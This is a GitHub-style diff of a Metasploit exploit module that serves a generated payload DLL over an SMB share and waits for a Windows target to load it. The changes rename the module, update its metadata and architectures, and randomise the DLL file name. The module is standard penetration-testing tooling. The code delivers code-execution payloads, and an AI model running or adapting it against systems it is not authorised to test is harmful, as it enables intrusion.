|
1 | 1 | ##
|
2 |
| -# This module requires Metasploit: http//metasploit.com/download |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
3 | 3 | # Current source: https://github.com/rapid7/metasploit-framework
|
4 | 4 | ##
|
5 | 5 |
|
6 |
| -# This is an example implementation of using the |
7 |
| -# Msf::Exploit::Remote::SMBFileServer module |
8 |
| -# to serve an arbitrary DLL over SMB |
9 |
| - |
10 | 6 | require 'msf/core'
|
11 | 7 |
|
12 | 8 | class Metasploit3 < Msf::Exploit::Remote
|
| 9 | + Rank = ManualRanking |
| 10 | + |
13 | 11 | include Msf::Exploit::Remote::SMB::Server::Share
|
14 | 12 | include Msf::Exploit::EXE
|
15 | 13 |
|
16 | 14 | def initialize(info={})
|
17 | 15 | super(update_info(info,
|
18 |
| - 'Name' => 'SMB DLL Server', |
| 16 | + 'Name' => 'Generic DLL Injection From Shared Resource', |
19 | 17 | 'Description' => %q{
|
20 | 18 | This is an example implementation of using the SMBFileServer module
|
21 | 19 | to serve an arbitrary DLL over SMB.
|
22 | 20 | This module will sit around waiting for a DLL to be loaded,
|
23 | 21 | for instance by the "payload/windows/loadlibrary" module.
|
24 | 22 | },
|
25 |
| - 'Author' => [ |
26 |
| - 'Matthew Hall <[email protected]>', |
27 |
| - ], |
28 |
| - 'DisclosureDate' => 'Mar 05 2014', |
29 |
| - 'Platform' => 'win', |
30 |
| - 'Privileged' => true, |
31 |
| - 'Arch' => ARCH_X86, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'Matthew Hall <hallm[at]sec-1.com>' |
| 26 | + ], |
32 | 27 | 'References' =>
|
33 | 28 | [
|
34 |
| - [ 'URL', 'http://www.sec-1.com/blog/'], |
| 29 | + ['CWE', '114'] |
35 | 30 | ],
|
36 | 31 | 'DefaultOptions' =>
|
37 | 32 | {
|
38 | 33 | 'EXITFUNC' => 'thread',
|
39 | 34 | },
|
40 |
| - 'Privileged' => true, |
41 |
| - 'Platform' => [ 'win'], |
| 35 | + 'Privileged' => false, |
| 36 | + 'Platform' => 'win', |
| 37 | + 'Arch' => [ARCH_X86, ARCH_X86_64], |
| 38 | + 'Payload' => |
| 39 | + { |
| 40 | + 'Space' => 2048, |
| 41 | + 'DisableNops' => true |
| 42 | + }, |
42 | 43 | 'Targets' =>
|
43 | 44 | [
|
44 | 45 | [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
45 | 46 | [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
46 | 47 | ],
|
47 |
| - 'DefaultTarget' => 0, # Default target is 32-bit |
48 |
| - )) |
49 |
| - register_options( |
50 |
| - [ |
51 |
| - OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'exploit.dll']) |
52 |
| - ], self.class) |
53 |
| - deregister_options('FILE_CONTENTS') |
| 48 | + 'DefaultTarget' => 0, |
| 49 | + 'DisclosureDate' => 'Mar 04 2015' |
| 50 | + )) |
| 51 | + |
| 52 | + register_options( |
| 53 | + [ |
| 54 | + OptString.new('FILE_NAME', [ false, 'DLL File name to share (Default: random .dll)']) |
| 55 | + ], self.class) |
| 56 | + |
| 57 | + deregister_options('FILE_CONTENTS') |
54 | 58 | end
|
55 | 59 |
|
56 |
| - def primer |
| 60 | + def setup |
| 61 | + super |
| 62 | + |
57 | 63 | self.file_contents = generate_payload_dll
|
| 64 | + self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll" |
58 | 65 | print_status("File available on #{unc}...")
|
59 | 66 | end
|
60 | 67 |
|
|
0 commit comments